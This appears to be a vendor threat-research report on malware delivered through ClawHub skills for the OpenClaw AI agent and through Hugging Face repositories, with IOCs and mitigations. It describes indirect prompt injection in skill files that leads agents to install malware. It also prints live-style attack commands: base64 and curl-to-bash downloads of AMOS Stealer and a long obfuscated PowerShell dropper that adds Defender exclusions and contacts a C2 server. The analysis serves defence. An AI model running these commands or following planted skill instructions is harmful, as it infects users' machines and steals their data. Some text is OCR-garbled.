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Summary

Acronis TRU uncovered active abuse of Al platforms like Hugging_Face and ClawHub for malware delivery, where
attackers exploit trust in Al ecosystems and agents to embed malicious functionality that can be executed on behalf
of users and potentially trigger further malicious actions through Al-driven workflows, extending execution beyond
the initial user.

In the OpenClaw ecosystem, 575+ malicious skills across 13 developer accounts were identified, targeting both
Windows and macOS with payloads including trojans, cryptominers and AMOS stealer, a macOS-focused infostealer
commonly distributed via malware-as-a-service.
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These trojanized skills masquerade as legitimate tools but instruct users to execute encoded commands or install
hidden malicious dependencies, for example, by requiring external downloads or password-protected installers.

A key technique observed is indirect prompt injection, where hidden instructions cause Al agents to execute
malicious actions on behalf of users, effectively turning them into intermediaries in the attack chain and increasing
the potential scale of compromise.

On Hugging Face, attackers leverage repositories to host payloads and act as staging infrastructure within multistep
infection chains, distributing malware disguised as legitimate applications.

Across campaigns, attackers use social engineering, obfuscation, encryption, in-memory execution, process
injection, persistence techniques and covert command-and-control (C2) communication to evade detection.

Introduction

Acronis Threat Research Unit has identified in-the-wild threat activity abusing Al distribution platforms such as Hugging
Face and ClawHub to deliver malware disguised as models, datasets and agent extensions. Unlike traditional software
supply chain attacks that result in a single system compromise, these campaigns exploit trust in Al ecosystems and
agents, enabling malicious functionality to be executed on behalf of users and extending the impact beyond the initial
infection. Hugging Face alone hosts over one million machine learning_ models and hundreds of thousands of datasets,
making it a primary distribution layer for Al development.

Al development is increasingly built on shared ecosystems where models, datasets, and extensions are distributed
through centralized platforms. These environments enable rapid innovation but also introduce a growing dependency on
third-party artifacts that are often trusted and executed without deep validation. This shift is creating new opportunities for
threat actors, who are adapting established supply chain techniques by embedding malicious functionality into artifacts
that appear legitimate and are integrated directly into workflows.

In the OpenClaw ecosystem, this includes hundreds of malicious skills designed to execute commands, install hidden
dependencies or retrieve external payloads, while on Hugging Face, repositories are used to host malicious files or stage
multistep infection chains disguised as legitimate applications. A key aspect of this activity is the abuse of trust between
users, Al agents and external resources. Through techniques such as indirect prompt injection, attackers embed hidden
instructions that can be executed by Al systems without user awareness, expanding how malicious actions can be
triggered within these environments.

Background and context

How do these Al tool ecosystems work?

Many Al tools used today aren’t standalone applications. In practice, they exist within distribution hubs where models,
datasets, scripts and extensions are shared through centralized platforms. Because of this, developers rarely build
projects entirely from scratch and instead rely on existing libraries, frameworks and open-source projects.

Platforms like GitHub, npm, PyPI, and now Hugging Face make it easier for developers to collaborate. Hugging Face has
become the go-to platform for anyone working with Al and ML models. Given its scale and widespread adoption, it
represents a high-value target for threat actors seeking to distribute malicious Al artifacts at scale. It is essentially like
GitHub but tailored specifically for Al and ML-related projects as it focuses on sharing Al models, datasets and other
related tools.

Another platform for developers to distribute their Al-related projects is ClawHub. ClawHub differs in that it is specifically
designed to distribute plugin-like 'skills' that extend the capabilities of OpenClaw. In other words, Hugging Face is primarily
for sharing Al models like Qwen, while ClawHub is more specialized in distributing ‘skills’ that enhance the functionality of
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OpenClaw.
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While these two platforms differ in their main purpose, they share a key feature: both allow developers to easily share their
code. This ease of access alongside the widespread adoption of Al has also created new opportunities for threat actors.
Attackers can now exploit these Al ecosystems by embedding malicious code or by instructing users to execute
commands, installation scripts or download extra files from external websites. Most users assume that the downloaded
packages from these platforms are 100% safe, which is why ‘trust’ plays a huge role in these attacks.

How does trust get abused to deliver malicious payloads?

Among the most effective methods threat actors use in their campaign is social engineering. Threat actors host their
malicious payloads on these platforms because of the platforms’ trusted reputation and the general assumption of users
that content is safe, which makes these kinds of attacks particularly dangerous. Threat actors craft these packages with
enticing repository names, attractive features and well-crafted README files. When users install these packages without
verifying, malicious payloads can be executed automatically, potentially installing malware.

This abuse of trust is not new to Al distribution platforms. On general development platforms such as GitHub, attackers
have long been leveraging the same techniques, delivering a wide range of payloads, most commonly infostealers. This
shows a noticeable shift from threat actors leveraging traditional platforms like GitHub to now targeting Al-related
distribution platforms such as Hugging Face and ClawHub while practically retaining their tactics but within new contexts.

Abusing ClawHub to deliver malicious OpenClaw skills

OpenClaw (formerly Moltbot, and before that, Clawdbot) has recently gained a lot of attention, and the hype isn’t
completely unwarranted. It’'s essentially a personal Al assistant that can perform an action on a user’s behalf whether
that’s managing emails, automating tasks and running scripts and commands through installable “skills” in ClawHub.

From a user’s perspective, the design is powerful as users can extend its capabilities by installing community-created
skills that allow the agent to perform different actions. But from a security standpoint, it also raises some important
concerns. OpenClaw’s skill-based architecture was designed to extend agentic capabilities through modular extensions.
This essentially grants Al the power to run external code with elevated access rights.

As a result, the ecosystem has increasingly become a primary attack surface. Threat actors can abuse the “skills” model
to introduce malicious code, inject malicious prompts, or stage malware delivery, all under the guise of legitimate tooling.
The same extensibility that makes OpenClaw attractive is also what makes it risky if not properly vetted.

During our investigation, we identified a large-scale malware distribution campaign in ClawHub. As part of our efforts to
measure this malicious activity, as of this writing, we identified 575 malicious skills within the OpenClaw ecosystem,
distributed by 13 developer accounts actively publishing trojanized packages. The campaign targets both Windows and
macOS systems, indicating a deliberate cross-platform approach. Lastly, a significant portion of the activity appears to be
linked to two threat actors operating under the alias “hightower6eu” with 334 malicious skills uploaded and “sakaen736jih”
with 199 malicious skills uploaded. Below is a table that shows malicious skills developer distribution that we have
identified.

Developer account
Malicious skills
Percentage

Classification
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hightower6eu

334

58.09%

Primary threat actor
sakaen736jih

199

34.61%

Secondary threat actor
zaycv

21

3.65%

Minor actor
jordanprater

7

1.22%

Minor actor

ttboy

3

0.52%

Minor actor
moonshine-100rze
3

0.52%

Minor actor
igbalnaveliano

2

0.35%

Minor actor
wistec-ai-it-department

1
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0.17%

Minor actor
timclawbot

1

0.17%

Minor actor
senthazalravi
1

0.17%

Minor actor
renixaus

1

0.17%

Minor actor
pierremenard
1

0.17%

Minor actor

Ivy19811120-gif

1

0.17%

Minor actor

This campaign doesn't compromise Al agents themselves. In fact, the Al agents are working as intended. However,
attackers have found a way to exploit the trust relationship between users and Al agents through carefully crafted prompt
injection techniques. This is a novel technique called indirect prompt injection. It inserts malicious instructions into
documents, websites or anything that the Al reads. In this campaign, attackers take advantage of the trust relationship
between Al agents and their skill repositories, allowing them to distribute malware disguised as legitimate functionality.
The attack chain of this campaign is shown below.

ls-Acronis

One example of malicious skills we analyzed describes that it can fetch and read transcripts from YouTube videos and
provides a summary of it. But the catch is that ‘OpenClawDriver’ needs to be installed first.

ls-Acronis
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It is instructed within the SKILL.md file to download the password-protected archive and install ‘OpenClawDriver’ from
GitHub for Windows or execute a certain command for macOS. This is immediately a red flag because it instructs users to
manually download a password-protected archive which is a technique to evade security solutions and execute an
unverified program from GitHub and to execute an encoded command.

Upon checking the Windows binary file on VirusTotal, it is detected as a Trojan by multiple security vendors and is also
packed using VMProtect.

ls“Acronis

For the macOS payload, the command executed prints a message “"Setup-Wizard: hxxps://install[.]app-
distribution[.]net/setup/™ for decoy purposes. Then, the next line includes a base64-encoded string to hide the actual
command.

““pbash

echo "Setup-Wizard: hxxps://install[.]Japp-distribution[.]net/setup/" && echo
'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzUOwgaHROcDovL zkxLjkyLjl0Mi4zMC82d2lvejgyODVrY2JheDZ2KSI=" |
base64 -D | bash

Once decoded, the string becomes a connection to an external IP address and downloads a payload using curl. The IP
address 91.92.242[.]30 serves as the centralized host used to distribute macOS payloads across the malicious skills.
Upon downloading, it is directly passed into bash for execution.

Ibin/bash -c "$(curl -fsSL hxxp://91.92.242[.]30/6wioz8285kchbax6v)"

The downloaded payload is a shell script that changes the directory to $TMPDIR and downloads another payload on the
same hosting IP address with curl. After downloading the file, the script removes its extended file attributes using xattr -c
to clear quarantine or security metadata that could prevent execution. It then modifies the file's permissions to make it
executable and immediately runs it.

cd $TMPDIR && curl -O hxxp://91.92.242[.]30/1v07y9e1m6v7thl6 && xattr -c 1v07y9e1m6v7thlé && chmod +x
1v07y9e1m6v7thl6 && ./1v07y9e1m6v7thi6

The downloaded payload has been identified as AMOS Stealer. It is an infostealer for macOS that is commonly sold as
malware-as-a-service (MaaS) through Telegram and underground forums. In many campaigns, it is frequently delivered
through numerous ways including fake software installers, pirated applications, malicious browser extensions, and now,
through OpenClaw skills.

While continuing to hunt for malicious OpenClaw skills, we identified another suspicious package. Although VirusTotal
Code Insights indicated that the skill instructs users to download a password-protected archive named “ClawHub-
Dependencylnstaller.zip” from MediaFire, the sample had almost no antivirus detections at the time of analysis.

ls-Acronis

Initially, upon checking the SKILL.md file, it doesn’t show any signs of prompt injection like the previous example.
However, the package includes an additional text file named ‘README BEFORE INSTALLING.txt.’ The text file instructs
users to download a file from an external, unverified source, which is a clear red flag and targets the user instead of the Al
agent.

ls-Acronis
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Due to the growing popularity of OpenClaw, threat actors have been using social engineering techniques to lure
individuals into installing malicious skills. Further checking of the downloaded password-protected archive revealed a 64-
bit binary. The overlay section shows particularly high entropy which could be suspicious because it is often used to store
hidden payloads.
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Analysis of the binary shows that the malware uses simple anti-analysis techniques such as obfuscation techniques where
strings are decrypted at runtime using a fixed 30-byte XOR key. These decrypted strings are then used to dynamically
resolve APIs. As seen in the table below, the APIs decrypted are related to file handling, memory management and
cryptographic routines.

ls_Acronis

ntdll.dll
LdrGetProcedureAddress
NtCreateFile
NtQuerylnformationFile
NtReadFile
NtAllocateVirtualMemory
NtFreeVirtualMemory
LdrLoadDll

LdrUnloadDIl

NtClose
RtIDecompressBufferEx
RtIGetCompressionWorkSpaceSize
berypt.dll
BCryptOpenAlgorithmProvider
BCryptSetProperty
BCryptGetProperty
BCryptGenerateSymmetricKey
BCryptDecrypt
BCryptDestroyKey
BCryptCloseAlgorithm

AES

ChainingMode
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ChainingModeCBC
ObjectLength

After resolving the APIs, it reads and decompresses the embedded payload inside the executable itself. After
decompression, it decrypts the payload using AES in CBC mode.

ls-Acronis
Finally, using NT APlIs, it writes and executes the decrypted buffer which is the payload into the allocated memory.
ls_Acronis

The process tree below shows the execution of the payload. It tries to launch multiple browsers to ensure at least one
browser exists to facilitate payload delivery, before eventually running a PowerShell command.

ls-Acronis

The deobfuscated PowerShell command builds persistence and evasion mechanisms by creating hidden staging
directories inside the %APPDATA% folder and adding Windows Defender exclusion paths to exclude scanning in those
locations. It also creates scheduled tasks that automatically launch the malware when the user logs in. To communicate
with its C2 server, the script establishes an AES-encrypted channel and sends data over HTTPS to hxxps://velvet-
parrot[.Jcom:443. The server response is decrypted locally, saved as a binary file masquerading as svchost.exe.
Behavioral analysis of the downloaded file indicates functionality consistent with a cryptominer.

$la=$env:LOCALAPPDATA;
$p1=($la + ('\'+'Microsof'+'t\Office'+'B'+'rok'+'e'+'r"));

$p2=($la +
("\Packa'+'ges\M'+'icr'+'osof'+'t.Wi'+'n'+'dows.Peo'+'pleE'+'x'+'perience'+'Host_gw'+'1n1c2fh'+'ye'+'q'+'y"));

$p2t=($p2 + (join(\AC',\Te','mp")));

New-Item -Path $p1 -ItemType Directory -Force|Out-Null;New-Item -Path $p2t -ItemType Directory -Force|Out-
Null;attrib +h +s $p1;attrib +h +s $p2;reg add (-join("HK','LM',"\S","OF TWAREV\','Poli','cie','s\Micro’,'soft\W','indo','ws
Defen','der\Exc’,'lus’,'ions\Pa’,'t",'hs’)) /f [reg:64;reg add (-
join('H',"KLM\SOFT','WARE',"\Polic','ies\Micr','osoft\','Wind','ows De','fende’,'r',"\Exclusi’,'ons\",'Paths')) /v $p1 /t
REG_DWORD /d 0 /f /reg:64;reg add (-join("(HKLM\SOF',"TW",’ARE\P",'olicies\','Micros','oft\Wind','ows
De','fend','er',"\Exclusi','ons',"\Paths')) /v $p2 /t REG_DWORD /d 0 /f Ireg:64;try{Add-MpPreference -ExclusionPath
$p1 -Force -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionPath $p2 -Force -ErrorAction
SilentlyContinue;}catch{}Start-Process gpupdate -ArgumentList '/force’,'/target:computer' -WindowStyle Hidden -
Wait 2>$null;Start-Sleep -Seconds 20;schtasks /create /tn ('Windows'+'S'+'ystemSe'+'rvice’) /tr ($p1 + (-
join('\','svch','ost.e’,'xe"))) /sc onlogon /rl highest /f 2>$null;schtasks /create /tn
('Runt'+'imeBrok'+'e'+'rSe'+'rvi'+'c'+'e') /tr ($p2t + "\RuntimeBroker.exe -Embedding') /sc onlogon /rl highest /f
2>$null;[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]:: TIs12;
[Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; $iv=New-Object byte[] 16;
[Security.Cryptography.RandomNumberGenerator]::Create().GetBytes($iv); $aes=
[Security.Cryptography.Aes]::Create(); $aes.Key=
[Text.Encoding]::UTF8.GetBytes(('4171'+'29612949'+'11411673'+'08'+'91673399'+'01')); $aes.IV=$iv; $aes.Mode=(-
join('CB','C'));$aes.Padding=('PK'+'CS'+'7");$cmd=[Text.Encoding]::UTF8.GetBytes((-
join('ge','tP','aylo','a",'d")));$encCmd=$aes.CreateEncryptor(). TransformFinalBlock($cmd,0,$cmd.Length); $body=New-
Object byte[] ($iv.Length+$encCmd.Length);[Array]::Copy($iv,$body,16);
[Array]::Copy($encCmd,0,$body,16,$encCmd.Length); $wc=New-Object Net. WebClient;$wc.Headers.Add((-
join('C','onten','t-Ty",'pe")),('app'+'lic'+'ation’+'/octet-s'+'tre'+'am’)); $data=$wc.UploadData('https://velvet-
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parrot.com:443',$body);$riv=[byte[]]$data[0..15];$enc=[byte[]]$data[16..($data.Length-
1)];$aes.IV=$%riv;$dec=%$aes.CreateDecryptor().TransformFinalBlock($enc,0,$enc.Length);
[10.File]::WriteAllBytes(($p1 + ("\svc'+'host.e'+'xe’)),$dec);Copy-ltem ($p1 + (\s'+'vcho'+'s'+'t.e'+'x'+'e"))
"$p2t\RuntimeBroker.exe" -Force;Start-Process ($p1 + (\svc'+'host.e'+'xe')) -WindowStyle Hidden;

Pivoting from hxxps:/Ivelvet-parrot[.Jcom:443, we identified a Telegram bot used as a dead-drop resolver (DDR) to hide
the actual C2 server.
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Further pivoting from the C2 domain revealed multiple related campaigns. These campaigns shared similar artifacts and
were associated with fake VPN landing pages and other deception-based distribution methods. Many of these samples
exhibited behavioral similarities to the primary campaign we presented.

ls-Acronis
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Based on this investigation, it appears that threat actors distributing payloads through traditional vectors such as
malvertisement are increasingly shifting toward poisoning trusted distribution channels. In particular, Al-related platform
ecosystems such as ClawHub are being abused to deliver payloads while leveraging user trust in legitimate-looking Al
tooling.

Hugging Face as a prime malware delivery hub

As Al ecosystems continue to expand, threat actors are replicating the same trust-based abuse across other platforms,
with Hugging Face emerging as another example. Hugging Face has become one of the most widely used platforms for
sharing artificial intelligence models, datasets and other development tools. The platform allows researchers and
developers to publish models and supporting resources that can be easily downloaded and integrated into applications.

Its open and collaborative nature has played a significant role in accelerating Al development. But from a security
standpoint, it also introduces certain significant risks. Hugging Face's architecture simplifies collaboration by enabling
users to upload models, share datasets and deploy Spaces. In practice, this means giving users one-click access to
execute or load arbitrary code from unvetted sources.

That ecosystem has increasingly become an attractive attack surface. With the growing trend of Al, rising demand for
open-weight models as alternatives to paywalled APls, and the sheer volume of repositories being published daily, users
are more likely to download and execute artifacts without proper scrutiny. Threat actors exploit this by publishing malicious
repositories that mimic popular or interesting projects but serve as delivery mechanisms for malware.

Similarly, we tried to quantify the scope of abuse. We have identified a limited, yet notable set of Spaces, datasets and
models primarily used for either directly hosting payloads or using it as a staging point within a broader distribution chain.
To our surprise, we discovered a wide range of malware types including infostealers, loaders, RATs, trojans and other
malicious implants targeting multiple operating systems including Windows, Linux and Android. However, accurately
measuring the full extent is difficult because of the platform’s scale and the dynamic nature of hosted content. As such,
these observations should be interpreted as indicative of ongoing abuse rather than a comprehensive assessment. The
true scale of this activity is likely higher but requires further and deeper investigation.

In this research, we examine multiple campaigns that demonstrate this approach.

ITHKRPAW campaign

ls-Acronis
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As mentioned above, we have been tracking these vectors for malware delivery, one of the first notable cases, identified in
January, targets organizations in the financial sector and entities in Vietnam. The operator had been staging multiple
payloads across the Hugging Face account.

l#-Acronis
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Upon looking inside the LNK, we found that it has been using Cloudflare Workers to deploy a malicious PowerShell Script.

ls-Acronis

Looking into the PowerShell script, we found that the PowerShell script served by the Cloudflare workers endpoint, acts as
a simple dropper, it first silences all error output to avoid raising suspicion, while dropping the actual payload named
omni-agent-v4.exe from a Hugging Face dataset repository. The payload is downloaded into the victim’s temp directory
disguised as microsoft-update-assist.exe. As a part of decoy, it fetches a harmless cat image from the same Hugging
Face repo and opens it in the browser, creating the appearance of a benign image being opened.

Interestingly, we assess with moderate confidence that the PowerShell script has been generated by an LLM, as it
contains a decent number of comments written in Viethamese, and the decoy as well as the domain under the same
operator, which is ITHKR.

FAKESECURITY campaign

ls-Acronis

Just like the case above, we also came across another simple but interesting sample that drops a malicious payload
disguised as Windows Defender. We are tracking this activity cluster as FAKESECURITY. That said, we cannot confirm at
this point whether this is part of a broader campaign targeting any specific entity, or just opportunistic activity.

ls“Acronis

Initially, as we have been hunting, we found an interesting batch script named CDC1.bat, which also had been seen in the
wild in the month of January.

ls_Acronis
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Analysis shows that it contains a malicious encoded PowerShell blob, containing an encoded script, which downloads
another malicious batch script with a randomly generated filename from a Hugging Face repository owned by 2i7j732ddi.
ls_Acronis

Once we looked inside the downloaded script, we found that it was heavily obfuscated with junk content.

ls.Acronis

Upon removing the irrelevant contents from the script, we found that this script is a multistage dropper that first relaunches
itself in a minimized window to stay hidden from the victim. It then creates a hidden folder under
%APPDATA%\Microsoft\OQvoig1QLXmD, copies itself there as vZJY8wQTBDXxEtilj.bat, and strips the Mark-of-the-
Web by clearing the Zone.ldentifier alternate data stream so that Windows SmartScreen won't flag it. For persistence, it
adds a Run key (5PthNvuYXu) under HKCU\Software\Microsoft\Windows\CurrentVersion\Run with a retry loop in
case the first attempt fails.
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It reads its own file contents using PowerShell, searches for a base64 blob appended after the marker
:irusy4bgJy8LXXbkz:: past the exit /b line, which the batch script ignores but PowerShell can still read — decodes it into
a .ps1 file in the temp folder, executes it hidden and then deletes it to cover its tracks.

ls“Acronis
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Further analysis of the decoded PowerShell payload revealed that it begins by creating a uniquely named mutex,
was_s2Pd8zz_Mtx, to ensure that only a single instance of the malware runs on the infected system. If the mutex already
exists, the script terminates immediately, preventing duplicate execution that could draw attention or cause instability. This
is a common technique used by mature malware families to maintain operational stealth. The script then attempts to
locate a running instance of explorer.exe, the Windows shell process. If Explorer is not immediately available, it briefly
waits and retries before exiting, indicating that the attacker specifically intends to inject into this trusted, long-lived process
rather than spawning a suspicious new one.

Once a suitable target is identified, the script decrypts a large, embedded payload using a simple single-byte XOR key
(0OxF1) and performs classic in-memory process injection. It opens the Explorer process with sufficient privileges, allocates
executable memory within it, writes the decoded shellcode and launches it via a remote thread, allowing the malicious
code to run under the guise of a legitimate system process without touching disk, which is a basic process injection. Then,
the script also contains a watchdog loop that continuously monitors the target process and reinjects the payload if
Explorer restarts, effectively maintaining persistence throughout the user session.

ls-Acronis

Further analysis of the injected payload revealed that it drops a malicious file known as Windows Security. Finally, we
concluded that as individuals increasingly move toward downloading and installing freely available open-source models,
they may inadvertently download malicious implants if these artifacts are not properly vetted and executed with caution.

Trusted sources, hidden payloads

Our investigation highlights a clear evolution in attacker tradecraft, with threat actors increasingly leveraging Al distribution
platforms such as Hugging Face and ClawHub as part of emerging Al supply chain attacks. Rather than relying solely on
traditional software repositories, these campaigns demonstrate how trusted Al ecosystems can be abused as scalable
malware distribution channels, where malicious artifacts are disguised as legitimate models, datasets and agent
extensions.

The impact extends beyond individual system compromise. Because these platforms are widely adopted across
development and research workflows, a single malicious artifact can rapidly scale, enabling downstream execution
through trusted integrations. The observed campaigns combine social engineering with layered infection chains, in-
memory execution, encryption, persistence mechanisms and concealed C2 infrastructure to evade detection and maintain
access.

This shift reflects a broader change in how trust is exploited in modern environments. While the underlying techniques are
consistent with established supply chain attacks, their application within Al ecosystems introduces new risks, particularly
where Al agents and automated workflows interact with external content and tools. As adoption of Al platforms continues
to grow, treating models, datasets and agent extensions as untrusted inputs becomes critical to reducing exposure to
these threats.
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Mitigation and recommendations

Integrate MDR or 24/7 threat monitoring. Continuous monitoring and proactive threat hunting improves detection of
anomalous behaviors such as encoded PowerShell execution, in-memory injection, unauthorized Defender

exclusions, scheduled task creation and suspicious outbound HTTPS communications to newly registered domains.

Download Al models, skills and tools only from verified sources and official repositories. Avoid downloading and
executing files distributed through password-protected archives or unverified binaries from third-party links.

Enforce strict application control and least privilege by restricting Al agents from executing arbitrary scripts or
spawning processes unless explicitly required.

Educate users on social engineering tactics and unusual installation instructions.

Monitor Al distribution hubs for suspicious repositories and block malicious artifacts before they spread.

Detection by Acronis

The threats detailed in this report are detected and blocked by Acronis EDR / XDR:
le.Acronis

Indicators of Compromise (IOCs)

OpenClaw IOCs

SHA256

Description
9db18aa394f554aa455f3039ce734b1653cc999089889c551fe263bd4bdc39fc
OpenClaw Skill Archive
122bea967f4c194fd5820123d13b7b71422c31f92b9fcOb0fa05aac3ff03dfaa
OpenClaw Skill Archive
d781d5cabaf5f305bbb8afcd9a54d7bab16bfa7aefS5c4d16f6bce3d2bf3b4073
Second-stage dropper
f0a54f2b44e557854b0a5001c4e10185884af945814786f78b86539014178a16
AMOS Stealer
fd3d52c2bb3764aabfe4da301967bfbc18e1c062d5dad2e9f4c3b6b6cf0ecof8
ClawHub-Dependencylnstaller.zip
89930bd18e0f9c9c98dfb1662ch87aa98348e87164ab62b1f39e86ebf2ce24ch
ClawHub-Dependencylnstaller.exe (Loader)
c7b93b6facfc23f49e35e81dc9c30cc69401b8245eeb7c032fc13656cd7e101f

Cryptominer Payload
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https://www.acronis.com/en/products/cloud/cyber-protect/extended-detection-and-response/

URL/Domain/IP Address

Description

91.92.242[.]30

Malware C2 server for macOS payloads

hxxps://glot[.]io/snippets/hfdxv8uyaf

macOS intermediary sites

hxxps://glot[.]io/snippets/hfd3x9ueu5

macOS intermediary sites

hxxps://rentry[.]Jco/openclaw-core

macOS intermediary sites
github[.Jcom/hedefbari/openclaw-agent/releases/download/latest/openclaw-agent[.]zip
Windows malware distribution URLs
github[.Jcom/Ddoy233/openclawcli/releases/download/latest/openclawcli[.]zip
Windows malware distribution URLs
github[.Jcom/denboss99/openclaw-core/releases/download/latest/openclaw-core[.]zip
Windows malware distribution URLs
github[.]Jcom/denboss99/openclaw-core/releases/download/v3/openclawcore-1.0.3[.]zip
Windows malware distribution URLs
hxxps://github[.Jcom/toolitletolate/openclaw_windriver/releases/download/exe/openclaw_windriver[.]zip
Windows malware distribution URLs

velvet-parrot[.Jcom

C2 server delivering the cryptominer payload

hxxps://t[.Jme/dusty_vintage

C2 server (DDR)

Hugging Face IOCs

SHA256
Description

b5da6ffa5f85aa5016fbc02a3122361c85d21192¢c45df9544099d13e6ff84¢36
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e84b1e2c432b2394c403b524b8361ffa9923a022eb05215f1dc811bc167c3c5e
CDC1.bat
d42aecf76fb1531cd5b7139e669910b2fd82a90b7e11448128e226775bf5d42e
xt53.bat
579a82dde4425d95e20a22171be0a37702c833fdcabe5e04f69099a025863136
StartGD220R21.bat
462af0a3a9094d44c30cc65544ec1171a62365cff09e67f5e87e061a3d604bd0

WindowsDefender.exe
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